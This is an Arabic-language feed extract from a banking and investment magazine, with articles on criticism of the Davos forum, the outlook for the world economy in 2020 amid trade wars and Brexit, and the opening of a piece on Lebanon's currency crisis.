حدث منتدى دافوس شكل ساحة لطرح انتقادات حادة، إذ أن الكثير من عناوينه الأصلية قد تغيرت مع الوقت، علماً أن العالم تغير كثيراً منذ عام 1971، ليس فقط في ملفات الحرب الباردة، غنما في التكنولوجيا والاخطار التي تهدد البشرية مع التغير المناخي وغيره. ففي العام الماضي مثلاً، استخدم المؤرخ الهولندي المعروف، روتجر بريغمان، منصة المنتدى لانتقاد الحاضرين فيه بشدة لعدم دفع نصيبهم العادل من الضرائب.
أما السؤال المطروح، هو هللا يزال منتدى دافوس نخبويا؟ فقد كان حضور دافوس يعد أمراً ضرورياً من أجل التطور والعمل الخير حتى لحظة الأزمة المالية العالمية في 2008.
بيد أن منتقدي المنتدى يرون أنه رمزا “للنخبة العالمية”، التي يتحمل بعضها مسؤولية هذه الأزمة.
وكان وصف رئيس تحرير مجلة “تايم” الأميركية، أناند غريدهارادس، دافوس بأنه أقرب إلى “لقاء لمّ شمل عائلي للأشخاص الذين تسببوا في إفلاس العالم الحديث”.
وتتباين درجات الحضور، إذ لا يتساوى الجميع في حضور النشاطات، بل يتحدد ذلك عبر هويات دخول بألوان مختلفة تحدد نوع الفعالية ومن سيجلس أو يقضي وقته مع من، من الحاضرين.
ويحصل معظم الضيوف رفيعي المستوى على شارة بيضاء عليها صورة ثلاثية البعد تتيح لهم الدخول إلى أي مكان. وفي أقصى الطرف الآخر من مقياس درجات الحضور ما يعرف بـ “شارة الفندق” التي تقصر حضورك على الفندق ولا يسمح لك بالدخول مطلقا إلى مركز المؤتمرات. ويهيمن الرجال على المنتدى، حتى بات مصطلح “رجل دافوس” لقباً يطلق على نمط من الرجال الأثرياء الذين اعتادوا حضور المنتدى.
بيد أن المنتدى الاقتصادي العالمي يقول إنه ببساطة يهتم بتجميع القادة للعمل من أجل الصالح العام.
ويقول مارتن وولف، كبير المعلقين الاقتصاديين في صحيفة “فايننشال تايمز”: “دائماً ما تكون النخب بعيدة عن الأنظار، هذه هي طبيعتها، لكنه من المستحيل أن يكون هناك عالم من دونها. ومن الضروري أيضاً أن يجتمع هؤلاء الأشخاص بانتظام لاكتشاف ما يفكر به كل واحد منهم ويتعرفون على أفكار بعضهم البعض.
في أساس دافوس
في العادة، تستخدم شركات عديدة هذا الحدث لتقديم تعهدات رئيسية بشأن قضايا مثل الاستدامة (عيش البشرية بطريقة مستدامة تحافظ على النظم الحيوية في كوكبنا باستخدام أمثل للموارد الطبيعية والطاقة النظيفة وتنظيم الاقتصاد والحياة الاجتماعية) أو لتحسين التنوع المجتمعي. لكن يبدو أن كل شيء بدأ يتغير حتى بالنسبة الى الرأسمالية نفسها، إذ يعتقد 56 % استطلاع رأي، أجرته شركة “إيدلمان” للاستشارات، أن الرأسمالية بشكلها الحالي، تضر العالم أكثر مما تنفعه، حيث يزداد الأغنياء ثراءً بينما يكافح بقية المجتمع.
وهذا التقرير هو من التقارير التي ألقت بظلالها على منتدى دافوس الاقتصادي، لاذي ناقش أيضاً قضايا مثل إصلاح الرأسمالية وتقليل فجوة الدخل ومعالجة الفقر.
وأوضح التقرير أن 78 % من المشاركين في المسح، الذي شمل مواطنين في 15 دولة، أكدوا أن نخب المجتمع تزداد ثرواتهم في الوقت الذي يعاني فيه الناس العاديون من أجل سداد تكاليف الحياة الأساسية. وقال التقرير، إن المشاركين اتسموا بالتشاؤم بشأن المستقبل، حيث يعتقد معظمهم أنهم وأسرهم لن يكونوا أفضل حالًا خلال السنوات الخمس المقبلة، وهو اتجاه بدا واضحًا في البلدان المتقدمة مثل اليابان وفرنسا وألمانيا وإيطاليا. ووفقًا لتقرير أصدرته منظمة “أوكسفام”، ودعا الحكومات إلى تبني “سياسات مقاومة لعدم المساواة”، فإن فئة الواحد في المئة الأغنى حول العالم تمتلك ثروة تعادل ضعفي ما تمتلكه بقية البشرية مجتمعة. وأشار إلى أن التفاوت الاقتصادي “خرج عن السيطرة”، حيث تضاعف عدد مليارديرات العالم خلال العقد الماضي، ويوجد الآن 2153 مليارديرًا يملكون ثروة تعادل ما يمتلكه 4.6 مليارات شخص (60% من السكان تقريبًا)، وفقًا لأحدث الإحصاءات عن عام 2019.
وبحسب وكالة “بلومبيرغ”، تضاعفت الثروة الإجمالية لأغنى 20 مليارديرًا في العالم، من 672 مليار دولار، إلى 1397 مليار دولار منذ عام 2012.
آفاق عالمية
تشهد آفاق التجارة والنمو الاقتصادي العالمي، وشركات التكنولوجيا، ومستقبل التعددية والنظام الجيوسياسي، تحديات متزايدة. أما الخلافات فبدأت تناقض ما تأسس عليه دافوس، حين عقد المنتدى اجتماعه الأول عام 1971، والذي تم إنشاؤه لتعزيز الفكرة التي طرحها كلاوس شواب بأن الأعمال يجب أن تخدم جميع أصحاب المصلحة (العملاء والموظفين والمجتمعات والمساهمين). وتم التأكيد مجددا على هذه الفكرة في “بيان دافوس” خلال عام 1973، وهي وثيقة تصيغ أعمال المنتدى منذ ذلك الحين. وقد هدف منتدى هذا العام وفق موقع دافوس، إلى إعطاء معنى ملموس لـ “رأسمالية أصحاب المصلحة”، ومساعدة الحكومات والمؤسسات الدولية في تتبع التقدم المحرز بشأن اتفاق باريس وأهداف التنمية المستدامة، وتيسير المناقشات حول التكنولوجيا وإدارة التجارة. لكن كلاوس شواب المؤسس والرئيس التنفيذي للمنتدى الاقتصادي العالمي كان واضحاً بقوله إن “الناس ثائرون ضد النخبة الاقتصادية التي يعتقدون أنها خذلتهم، وجهودنا الرامية إلى إبقاء ظاهرة الاحتباس الحراري تقتصر على 1.5 درجة مئوية تواجه تقصيرا خطيرا. ومع وجود العالم على مفترق طرق حاسم، يتعين علينا هذا العام تطوير بيان دافوس لعام 2020 لإعادة تصور الغرض وسجلات النتائج للشركات والحكومات. هذا ما أسس المنتدى الاقتصادي العالمي منذ 50 عاما، وهو ما نريد المساهمة فيه خلال الـ 50 عاما المقبلة”.
لكن هذا الأساس أخذ أبعاداً أخرى في المنتدى هذه السنة وطغت عليه أولويات مختلفة طبعتها الحروب القائمة، علماً أن أولويات برنامج اجتماعات المنتدى طرحت كيفية المحافظة على الكوكب، والمجتمع ومستقبل العمل، والتكنولوجيا من أجل الخير، والاقتصادات الأكثر حكمة، والأعمال الأفضل، ومستقبل الصحة، وما وراء الجغرافيا السياسية.
The post دافوس الاقتصادي: هل انتهت وظيفته الأصلية؟ appeared first on البنك و المستثمر.
]]>The post 2020 عام التحولات الكبرى في الاقتصاد العالمي appeared first on البنك و المستثمر.
]]>شبح الأزمات
في العالم لا يزال شبح أزمة عامي 2008 و2009 يلوح في الأجواء، إذ أن توقعات كثيرة تشير الى أن العالم قد يتعرض لأزمات أقسى من الأزمة المالية العالمية قبل 11 سنة خصوصاً في ظل ارتفاع المديونية العالمية وحروب ترامب التجارية خصوصاً مع الصين والأخطار الناجمة عن الاختلالات الهيكلية في منطقة اليورو مع الأزمات التي يعيشعا بعض الدول الأوروبية.
اقترب العالم في 2019 من اضطراب اقتصادي بسبب ارتفاع تكاليف الإقراض، وزيادة مخاطر الديون، والتقلبات في الأسواق العالمية، وهجرة النقد من الأسواق الناشئةن فيما استعرت الحرب التجارية بين أكبر اقتصادين في العالم، الولايات المتحدة والصين. ويمكن القول أن العوائد المالية المرتفعة في كلٍّ من الولايات المتحدة وأوروبا واليابان سحبت رأس المال بعيدًا من الأسواق المالية الناشئة لكنها لم تصل الى مرحلة أثرت فيها على استقرارها. وبما أن عدداً من الدول النامية عجزت عن سداد ديونها الخارجية بسبب ارتفاع الفائدة على النقد الأجنبي، ودخلت في أزمات، مثل تركيا إلا أن الخطر الأكبر بقي في المديونية العالمية، التي وصلت إلى مستويات غير مسبوقة، أي إلى 220% من إجمالي الناتج المحلي الإجمالي لعام 2018 .
بدت المشكلة الاكبر في الاقتصاد العالمي تتركز في السياسة الاقتصادية الاميركية، فمنذ أن اتخذ الرئيس الأميركي دونالد ترامب قرار التخفيضات الضريبية زادت نسبة العجز في ميزانية البلاد إلى 6% من الناتج المحلي الإجمالي في عام 2019، وهو أعلى معدل على الإطلاق في الظروف العادية. كما أن رفع معدلات الفائدة من خلال البنك الفيدرالي قد أثر على ارتفاع الأسعار. وكذلك فإن الحرب الاقتصادية مع الصين أثرت على حركة الاقتصاد العالمي نتيجة توجس المستثمرين والمصدّرين، فيما شهد الاقتصاد الصيني تقلبات مماثلة، بعد تشديد الحكومة على سياسة الائتمان وخفض الإقراض، إلى جانب تضخم سوق العقارات، وارتفاع ديون الأسر إلى 110% من الدخل. فيما استمرت المشكلات قائمة في منطقة اليورو، بسبب تباطؤ وتيرة النمو الاقتصادي. لكن حرب الرسوم الجمركية التجارية بين الصين وأميركا أخذت ابعاداً مختلفة في 2019، فتراجعت بعد اجراءات قاسية من جانب الولايات المتحدة، لكنها في الوقت نفسه دفعت الصين إلى تغيير سياستها الاقتصادية، مثل تثبيت مستوى الديون، واتخاذ مزيد من إجراءات التقشف، وتخفيض الضرائب على الشركات، واتباع سياسات مختلفة لإدارة العجز المالي.
الأنظار تتجه إلى أميركا
تقارير المؤسسات الدولية ومنظماتها لا تتوقع أن يكون العام 2020 أفضل من 2019، إذ وفق منظمة التنمية والتعاون الاقتصادي لن يتخطى النمو العالمي خلال السنة 2020، أكثر من 2.9%، كما في العام 2019، وهو أدنى مستوى يسجله منذ الأزمة المالية عام 2009، فرئيسة قسم الاقتصاد في المنظمة لورانس بون ترى أننا نعيش في مرحلة قلقة. أما صندوق النقد الدولي، فكان أكثر تفاؤلا، فقد توقع في تقريره “آفاق الاقتصاد العالمي” نموا بنسبة 3.4% في 2020، ولو أن مسؤولة الاقتصاد في المؤسسة المالية غيتا غوبينات حذرت من أن هذا الانتعاش “يبقى هشا”.
كل الأنظار تتجه إلى الولايات المتحدة الأميركية، فكما كان دونالد ترامب نجم الحروب التجارية مع العالم خلال السنتين الماضيتين، يتوقع أن يسير الاقتصاد العالمي على طريق مختلف عن التبادل الحر والازدهار التجاري في حال عبر من مساءلته وعزله أميركياً بعد الاتهامات التي وجهت اليه من الديموقراطيين والقضاء الأميركي في موضوع التسريبات الأوكرانية. وقد كان التبادل الحر سقط مع وصول الرئيس الأميركي دونالد ترامب إلى البيت الأبيض قبل أكثر من 3 سنوات، إذ دخل في مواجهة تجارية وكذلك تكنولوجية مع الصين، انعكست سلبا على النمو العالمي، وكذلك مع أوروبا ودول عدة في العالم، فيما سيقضي بريكست على النهج التعددي في العالم.
محطات 2019
تأثر نمو الاقتصاد العالمي في 2019 بالنزاعات والتحولات التي شهدتها دول العالم، والمرشحة لأن تستمر في 2020، إلا إذا حدث تغيير كبير في الولايات المتحدة الاميركية مع الانتخابات الرئاسية. فالصعوبات التي عاشها الاقتصاد العالمي في 2019 كان أبرز اسبابها النزاعات التجارية وغموض ملف بريكست الذي أخذ يتضح بعد الانتخابات المبكرة وفوز بوريس جونسون مجدداً حيث تشير التوقعات الى أن خروج بريطانيا من الاتحاد الأوروبي سينجز في الربع الأول من 2020. ففي كانون الأول/ ديسمبر 2019، تخلص البريطانيون من الغموض الذي غلف ملف الخروج من الاتحاد الأوروبي “بريكست” عندما منحوا حزب المحافظين أغلبية برلمانية تمكنه من المضي قدما في تنفيذ خطته الحاسمة لمغادرة الاتحاد الأوروبي نهائياً.ومن الصعوبات أيضاً تأرجح سياسات البنوك المركزية، وان كانت نهاية العام 2019 حسمت حالة عدم اليقين التي كبلت الاقتصاد العالمي على مدار الأشهر الماضية ما يعني أن 2020 قد يكون مختلفا.لكن بنسب معينة.
وشكل شهر كانون الاول/ ديسمبر 2019 محطة خففت قليلاُ حجم الحرب التجاري العالمية، حين توصلت الصين والولايات المتحدة أخيرا إلى اتفاق مرحلي للتجارة بينهما، وبموجب هذا الاتفاق سيخفض البلدان الرسوم الجمركية المتبادلة، كما سيتجهان إلى مراحل تجارية جديدة من شأنها زيادة التبادل بينهما. لكن هذا الاتفاق قد لا ينهي مسألة الرسوم المتبادلة، خصوصاً اذا ما تبين أن الرئيس الاميركي دونالد ترامب قد نجا من عزل الكونغرس ومجلس الشيوخ له. علماً أن ملفي بريطانيا والحرب التجارية كانا من أكثر الملفات تعقيداً وتأثيراً في الاقتصاد العالمي، وبسببهما توقع صندوق النقد الدولي أن تتراجع معدلات النمو العالمية إلى أدنى مستوياتها منذ الأزمة المالية العالمية.
مخاطر واحتمالات
كان 2019 عام التوترات التجارية والمخاطر السياسية، وهما أثرتا على الاقتصاد العالمي، لكن هناك توقعات إيجابية بالنمو على مستوى العالم بشأن عام 2020، بعدما أبرمت الولايات المتحدة الأميركية والصين اتفاقهما التجاري جزئيا، واتضحت إلى حد بعيد التوقعات بخروج بريطانيا من الاتحاد الأوروبي. ويعني الاتفاق بين الرئيس الأميركي دونالد ترامب والرئيس الصيني شي جين بينغ أنه يبدو أن بعض أسوأ السيناريوهات التي كان يتم تصورها قبل أشهر قليلة أصبح احتمال حدوثها أقل الآن، من دون أن يعني ذلك أن الأمور انتهت عند هذا الحد. فالمرحلة الأولى من الاتفاق لم تتضمن تسوية بعض المسائل المعقدة، ما يمهد الطريق لمواجهات جديدة، فيما يسعى ترامب لإعادة انتخابه في نوفمبر/ تشرين الثاني 2020. وتشمل المسائل العالقة الشكاوى الأميركية بشأن شبكة شاسعة من الإعانات تتراوح من الكهرباء الرخيصة إلى القروض منخفضة الفائدة التي استخدمتها الصين لبناء قوتها الصناعية. ويقول خبراء في بلومبرغ إن من شأن اتفاق تجاري يعيد الرسوم إلى مستويات مايو/ أيار 2019، وهذا يعني بالنسبة لأميركا فرض رسوم بنسبة 25 في المئة على واردات صينية بقيمة 50 مليار دولار وبنسبة 10 في المئة على واردات بقيمة 200 مليار دولار أخرى، ويخفض مستوى عدم اليقين، يمكن أن يؤدي إلى تعزيز إجمالي الناتج المحلي لدول العالم عام 2020 بواقع 0.6 في المئة. أما انهيار المحادثات وزيادة الرسوم وبالتالي إلغاء الاتفاق، فسوف يؤدي ذلك إلى انخفاض الناتج العالمي بواقع 0.1 في المئة. وأوضح الخبير الاقتصادي توم أورليك في وحدة الأبحاث الاقتصادية “بلومبرغ إيكونوميكس”، إن الفوز الكاسح لحزب المحافظين البريطاني بزعامة رئيس الوزراء بوريس جونسون في الانتخابات يعني أنه من المقرر أن تغادر بريطانيا الاتحاد الأوروبي في 31 يناير كانون الثاني/ يناير 2020. كما أن النتيجة التي من شأنها أن تحرك الانتعاش، المقترن بسياسة مالية أكثر يسرا، يجب أن تؤدي إلى تسريع وتيرة النشاط الاقتصادي على نحو أسرع مما كان عام 2019. وفي الوقت نفسه يجب أن يتفاوض جونسون الآن بشأن اتفاق تجاري جديد مع الاتحاد الأوروبي بحلول نهاية العام 2020، ما يعني إمكانية ظهور حالة غموض جديدة.
ووفق رئيسة البنك المركزي الأوروبي كريستين لاغارد، فإن الاقتصاد في منطقة اليورو يظهر علامات على الانتعاش، فيما قال رئيس الاحتياطي الاتحادي الأميركي جيروم باول إن التوقعات للولايات المتحدة لا تزال مشجعة. وقالت الحكومة الصينية إنها سوف تحسن فاعلية السياسة المالية في 2020، بينما تعتزم اليابان تطبيق سياسة جديدة للتحفيز المالي.
هل العالم أمام أزمة مالية؟
برغم الأجواء الإيجابية في نهاية 2019، إلا أن تقارير عدة كانت اشارت الى احتمال نشوب أزمة مالية عالمية جديدة في 2020. فقد تحدثت إدارة المخاطر في بنك “جي بي مورغان” الأميركي عن إمكانية نشوب أزمة مالية عالمية جديدة عام 2020، على إثر حالة الركود الاقتصادي المتوقعة خلال الفترة المقبلة. وأفاد تقرير لصحيفة التايمز نشر في نوفمبر: تشرين الثاني 2019 ، بأن الفترة الحالية يسودها قلق عالمي، خشية حدوث ركود اقتصادي وشيك، ما قد يتسبب بحدوث أزمة مالية عالمية مشابهة لتلك التي حدثت في 2008، ما قد يتسبب بانهيار في بعض الاقتصادات وزيادة الديون الخارجية لبعضها.
لكن خبراء أخرين يعتبرون أن هناك مبالغة في هذه التوقعات، إذ لا يوجد مؤشرات تدل على احتمال نشوب أزمة مالية عالمية. فالأزمة المالية العالمية تكون مؤشراتها مرتبطة بحجم المديونية الخارجية خاصة إذا عجزت بعض الدول عن السداد. في حين أن مؤشرات نشوب أزمة مالية عالمية ضعيفة إلى الآن، لأن معدل النمو في أميركا جيد، ومعدل البطالة فيها انخفض أيضا، ووصل إلى 3.5 في المئة. وتحدث الأزمة إذا انخفض ناتج الدولة، علماً أن الدول الأوروبية هي الوحيدة التي تعاني حاليا وخاصة ألمانيا، بسبب الركود. ويؤكد الخبير المالي الأميركي ستيف آيزمان أنه “لن تكون هناك أزمة معمّمة”، ويرى المستثمر الذي اشتهر لتنبّؤه بانهيار النظام المالي الأميركي قبل نحو عقد، أن الاقتصاد قد يستمر في تسجيل نمو بطيء أو يدخل في انكماش نمطيّ مع تباطؤ اقتصادي وخسارة عدد من الأفراد مبالغ مالية، من دون أن تكون الأزمة المالية شاملة. إضافة إلى ذلك، فان انتخاب رئيس ديموقراطي يطبق سياسة ضريبية أكثر تشددا مع الثروات الكبرى، ويهاجم بشكل مباشر ضخامة حجم شركات الإنترنت الكبرى، ويشدد التنظيمات المراعية للبيئة والمناخ، سيعيد الاقتصاد العالمي الى طريق مختلف، إذ أن تقاسم المداخيل والرقمنة والمناخ تشكل ثلاثة تحديات ستهيمن على الاقتصاد العالمي إلى ما بعد العام 2020.
ثقة المستثمرين
منظمة التنمية والتعاون الاقتصادي كانت أوضحت في تقرير لها حول حول آفاق نمو الاقتصاد العالمي، قبل الاتفاق الأخير بين واشنطن وبكين، أن تصاعد وتيرة التوترات التجارية بين الاقتصادين الأكبرين على مستوى العالم (الولايات المتحدة والصين) يلقي بظلال سلبية على ثقة المستثمرين في مناخ الأعمال العالمي، ويضيف مزيداً من الضبابية والتخبط على التعاملات بالأسواق العالمية، ومن ثم تقويض آفاق النمو العالمي. وهي دعت الحكومات للتحرك من أجل احتواء تداعيات حالة الضبابية المسيطرة على الأداء الاقتصادي، والعمل على جذب مزيد من الاستثمارات من أجل الحد من المخاطر التي تواجه آفاق نمو الاقتصاد العالمي. فالحكومات لا تقوم بما يكفي لمنع حدوث ضرر طويل المدى. وقالت إن مستقبل الاقتصاد العالمي مليء بالغموض ويتسم بالهشاشة… وتصاعد التوترات التجارية يترك آثاراً سلبية على الثقة والاستثمار.
ويبدو أنه بمعزل عن الاتفاق، هناك حاجة عاجلة لجهود موحدة لوقف تراكم الرسوم المعرقلة للتجارة، إذ يجب أن تبقى السياسة النقدية قابلة للتكيف بصورة كبيرة في الاقتصادات المتقدمة، ولكن يمكن تعزيز تكيف السياسة النقدية إذا صاحبتها سياسة نقدية وهيكلية أكثر قوة.
ويذكر أن منظمة التعاون والتنمية خفضت احتمالات النمو لغالبية دول مجموعة العشرين، خصوصاً تلك المعرضة لتراجع التجارة والاستثمار العالمي. وكتبت المنظمة أن تصاعد التوترات التجارية يؤثر بشكل متزايد على الثقة والاستثمارات، ويزيد من حالة غموض السياسات، ويزيد من مشاعر الخوف من المخاطرة في الأسواق المالية، ويعرض احتمالات النمو المستقبلي للخطر. كما خفضت توقعاتها للنمو الاقتصادي في منطقة اليورو التي تضم 19 بلداً إلى واحد في المئة في 2020، بينما كانت تتوقع في السابق زيادة النشاط الاقتصادي في هذه المنطقة.
وجهات نظر حول الاقتصاد العالمي
نشرت وسائل اعلام عالمية مقالة كانت نشرتها ايلينا تريغوبوفا في “أرغومنتي إي فاكتي” حول ما ينتظر الاقتصاد العالمي في 2020. وقالت: “وقعت الأزمة الاقتصادية العالمية الأخيرة قبل أكثر من 10 سنوات، وبما أن دورة الاقتصاد تتكرر، وفقا للعديد من الخبراء، ينتظر العالم أزمة اقتصادية وشيكة، فما هي العوامل التي تدفع نحو أزمة كهذه، وما هي العوامل التي تحد من احتمال حدوثها؟
ترى الكاتبة أن الحرب التجارية ستخفض إجمالي الاستهلاك العالمي. في حين أن التوقعات تشير إلى نهاية النمو غير المسبوق للاقتصاد العالمي، وهو ما يمكن أن يؤدي إلى انخفاض في الإقراض والاستثمار والاستهلاك، حيث يتخذ عدد من المؤسسات الاقتصادية الفاعلة مواقف وإجراءات حذرة بشكل متزايد. تعتقد أن أقصى ما ننتظره هو تباطؤ في الاقتصاد العالمي إلى مستوى 2.5% عام 2020، وذلك ليس أمرا سيئا للغاية. قد يؤثر ذلك في المقام الأول على اقتصادات الدول التي تعتمد على المواد الخام، حيث أن أسعار المواد الخام في مثل هذه الحالة عادة ما تنخفض. لكن معظم هذه الدول، بما فيها روسيا، لديها احتياطيات كبيرة تسمح لها بالبقاء على قيد الحياة من التدهور الموقت للوضع الاقتصادي دون عواقب وخيمة.
في المقابل، كلما ارتفع معدل نمو الاقتصاد في بلد ما، زاد هبوط نمو الاقتصاد، إذا ما تغيرت ديناميات الاقتصاد العالمي من النمو إلى الركود، ومن وجهة النظر هذه، فإن أسوأ وضع في الاقتصادات العالمية سوف يكون من نصيب جنوب شرق آسيا، بينما سيكون الوضع أفضل في الدول المتقدمة، ولكن بسبب عولمة الاقتصاد العالمي، فإن الجميع سوف يتأثر بدرجة ما.
وبينما تباطأت وتيرة الاقتصاد العالمي، وهو ما تؤكده بيانات البنك الدولي، ففي عام 2017، بلغ معدل نمو الناتج المحلي الإجمالي 3.16%، وفي عام 2018 بلغ 3.04%، وأما في عام 2019 فمن المتوقع أن يكون أقل من 3%، فإن ديون الشركات في جميع أنحاء العالم تنمو وتقترب من مستوى 19 تريليون دولار، بينما تقترب ديون الحكومات إلى أكثر من 80 تريليون دولار، وهو ما يمثل حوالى 115% من الناتج المحلي الإجمالي العالمي، أي أن الإنتاج العالمي لن يوفر إجمالي الدين الخارجي للبلدان. ويكفي لاندلاع الأزمة العالمية إعلان عن توقف الشراكة بين شركاء دوليين، أو توقف صندوق استثماري عن متابعة استثماراته الخارجية، لنكون بصدد ركود يمكن مقارنته بسنوات 2008-2009، أو حتى بالركود العظيم في الثلاثينيات من القرن الماضي.
ركود اقتصادي
تشير تقارير إلى أن مجموعة من الدول الكبرى والمحورية يتوقع أن تعاني من ركود اقتصادي في عام 2020، فاقتصاد المملكة المتحدة تأثربصورة كبيرة، حيث تقلص نموها الاقتصادي للمرة الأولى منذ عام 2012، وقد يؤدي خروج بريطانيا من الاتحاد إلى حدوث ركود حاد في الاقتصادي البريطاني. ومن المتوقع أن تعاني ألمانيا، أكبر اقتصاد في الاتحاد الأوروبي، من الركود، خاصة في ظل الانخفاض المستمر في قطاع الصناعات التحويلية، وكذلك مبيعات السيارات العالمية الضعيفة.
واستمر الاقتصاد الصيني في التباطؤ في خضم الحرب التجارية، رغم أنه لم يمر بعد بحالة من الركود. وقد توقع صندوق النقد الدولي نمواً بنسبة 5.8% فقط لثاني أكبر اقتصاد في العالم في عام 2020، منخفضاً من 6.6% في عام 2018، و6.1% في عام 2019.
ووفق توقعات صندوق النقد الدولي فإن اقتصادات المنطقة تعصف بها الازمات، وقال الصندوق في تقريره إنّ خفض توقعات النمو في منطقة الشرق الاوسط وشمال افريقيا سببه التراجع في اقتصادي إيران والسعودية. وذكر أنّ “الاضطرابات في اقتصادات اخرى، بينها ليبيا وسوريا واليمن، تلقي بثقلها على آفاق المنطقة، وتراجعت أسعار النفط والغاز، المصدرين الرئيسيين للإيرادات في المنطقة، بنسبة 13 في المئة بين نيسان/ابريل وتشرين الاول/اكتوبر، على أن تواصل أسعار الخام انخفاضها حتى العام 2023، واعتبر الصندوق ان الهجمات ضد المنشآت النفطية في أرامكو شرق السعودية خلقت توترات وعدم يقين في المنطقة، خصوصا انها جاءت بعد هجمات تعرّضت لها ناقلات نفط وسفن في مياه الخليج.
وبالنسبة للإمارات، صاحبة أكثر الاقتصادات تنوعا في المنطقة، فقد انخفضت توقعات النمو إلى 1,6 في المئة بعدما كانت تتراوح عند عتبة 2,8 في المئة، وذلك على خلفية تراجع اسعار النفط وتباطؤ اقتصادي في دبي، كما تراجعت توقعات النمو في الكويت وقطر وسلطنة عمان.
تباطؤ نشاط المدن العالمية
في تقرير نشرته وكالة الصحافة الفرنسية أن من بين 900 مدينة رئيسية حول العالم، ستشهد 586 أي ثلثيها تباطؤاً في النمو الاقتصادي بين 2020 و2021، خصوصاً على خلفية تراجع في التجارة الدولية، وفق دراسة لمركز “أوكسفورد إيكونومكس”.
وتشكّل لندن وحيدةً استثناءً في هذا الإطار من بين عشر أكبر مدن من حيث الناتج المحلي الإجمالي، إذ يتوقع أن تشهد زيادةً في النمو، بنسبة 2,1% في 2020-2021 مقابل 1,5% في 2018-2019. أما باريس، فستعرف تراجعاً في النمو إلى 1,7%، أي بنسبة 0,2%.
وأوضح الباحثون في دراستهم أنه “في فرنسا، كانت ليون المدينة الأفضل من حيث الأداء في وقت مبكر هذا العقد، لكن نموها أيضاً قد تباطأ”.
ولن تكون نيويورك أيضاً بمنأى عن هذا التراجع حيث يفترض أن تبلغ نسبة نموها الاقتصادي 1,8%، مقابل 2,2% في 2019.
ويرى الباحثون أن “السبب الرئيسي هو بوضوح تباطؤ التجارة العالمية”، مشيرين إلى أن العديد من المدن حول العالم تحتوي على قطاعات صناعية هامة. وهي لذلك “ستتأثر مباشرة بتباطؤ النمو التجاري العالمي”، بحسب الدراسة.
وفي بعض الحالات، يمكن ملاحظة أثر التباطؤ على مستوى المدينة بشكل أوضح من على مستوى البلاد، خصوصاً عندما يشكل قطاع التصنيع المكون الأبرز للاقتصاد المحلي.
ويشير الباحثون في هذا الإطار إلى مدينة برشلونة في إسبانيا، التي يمثل فيها هذا القطاع نسبة 19% من الاقتصاد المحلي. وفي تايبيه في تايوان، يحتل القطاع نسبة 23% من الاقتصاد المحلي.
لكن التباطؤ في قطاع التصنيع لا يكفي لفهم كل خلفيات هذا التراجع المرتقب في النمو. ويؤثر تباطؤ التجارة العالمية أيضاً على الطلب في قطاعات خدماتية على وجه خاص، مثل السفر والتأمين، التي غالباً ما تكون مراكز أعمالها في المدن. ويشرح الباحثون أنه “إضافة إلى ذلك، يوجد آثار غير مباشرة للتباطؤ على تكاليف الاستهلاك، عبر خفض الرواتب وتراجع فرص العمل”.
أما بالنسبة لصعوبات قطاع التصنيع، فلا يمكن تفسيرها فقط انطلاقاً من النزاعات التجارية بين الولايات المتحدة وشركائها الدوليين، والتي تضعف التبادل التجاري حول العالم.
في أوروبا، ما زال بعض المدن التي تضم أبرز مصانع السيارات تشعر بوقع وضع إجراءات مضادة للتلويث حيز التنفيذ في عام 2018. ويجب على تلك المدن التأقلم أيضاً مع الارتفاع في الطلب، حيث بات المستهلكون يتجهون عموماً نحو اختيار سيارات كهربائية او هجينة تعتمد على أكثر من مصدر للطاقة.
وتعيش مدن أخرى مثل سنداي في اليابان ظروفاً خاصة حيث مرحلة إعادة الإعمار بعد الكوارث الطبيعية باتت على وشك الانتهاء.
وفي أميركا اللاتينية، تضغط الأزمات والاضطرابات السياسية على اقتصاد المدن. وبحسب الدراسة فإن “كراكاس بوضوح أكثر المدن الكبرى معاناةً”.
وفي الولايات المتحدة، قد تكون مدينة سان خوسيه الواقعة في سيليكون فاليه أكثر المدن التي سيكون تباطؤ نموها ملحوظاً، وفق الدراسة.
في آسيا، سيعاني نمو المدن الصينية كذلك من صعوبات، بينما المدن الهندية في موقع ازدهار.
ويخلص الباحثون في دراستهم إلى أنه “بحلول عام 2035، ستكون المدن الآسيوية قد تخطت عالمياً مدن أميركا الشمالية وأوروبا”. وتضيف أن “أربع مدن صينية ستكون بين أول عشر مدن في العالم (من حيث النمو)، لكن نيويورك وطوكيو ولوس أنجليس ولندن ستبقى الأكبر من حيث الناتج المحلي الإجمالي”.
هل تتأثر الدول العربية؟
يشدد الخبراء على أن أثر الأزمة المالية العالمية إن حدثت في عام 2020 على الدول العربية لن يكون قويا، باعتبار أن أغلب اقتصادها ريعي. فالدول العربية هي خارج إطار التأثر بالأزمات المالية العالمية، فأغلب اقتصادياتها تعتمد على النفط، فلو انخفض سعره فستنخفض إيراداتها، لكن دول الخليج عندها احتياطيات نفطية جيدة، وبالتالي فإنها يستطيع أن تسحب منها وتمر من الأزمة”. أما الدول العربية الأخرى فلا يرتبط تصديرها بالاقتصاد العالمي، خاصة أن بعضها يصدر كميات محدودة من المعادن كالنفط في الجزائر والفوسفات في الأردن. لكن قد تتأثر بعض هذه الدول بسبب انخفاض السياحة وتحويلات مواطنيها من الخارج.
مجلة البنك والمستثمر
العدد 229 – كانون الثاني 2020
The post 2020 عام التحولات الكبرى في الاقتصاد العالمي appeared first on البنك و المستثمر.
]]>The post هل يخرج لبنان من نفق الانهيار المالي؟ appeared first on البنك و المستثمر.
]]>ارتفاع الدولار والأسعار
ارتفع سعر الدولار في السوق الموازية بمستويات قياسية، على رغم أن مصرف لبنان لا يزال يمسك بالوضع ويسعّر رسمياً بـ1510 ليرة للدولار الواحد، لكن الوضع غير المستقر أدى الى تفلت أسعار السوق الإستهلاكية لارتباطها بالدولار، فعمد العديد من المؤسسات حينها إلى الاشتراط على المستهلك الدفع بالدولار، ثم عادت المؤسسات إلى إعادة تسعير منتجاتها بالليرة، لكن وفق سعر الصرف المعمول به في السوق الموازية، التي تحولت إلى سوق سوداء. وبذلك ارتفعت أسعار الاستهلاك بنسب تتفاوت بين 20 و40 في المئة. وقد وقعت المؤسسات كلها في شَرَك أزمة شح الدولار، فالقيود التي فرضتها المصارف أدت إلى ارتفاع تكلفة استيراد المواد الأولية، وبات على الجميع تأمين الدولار من الصرافين بأسعار تتخطى 2000 ليرة في بعض الأحيان، لتؤمن استيراد مواد أولية.
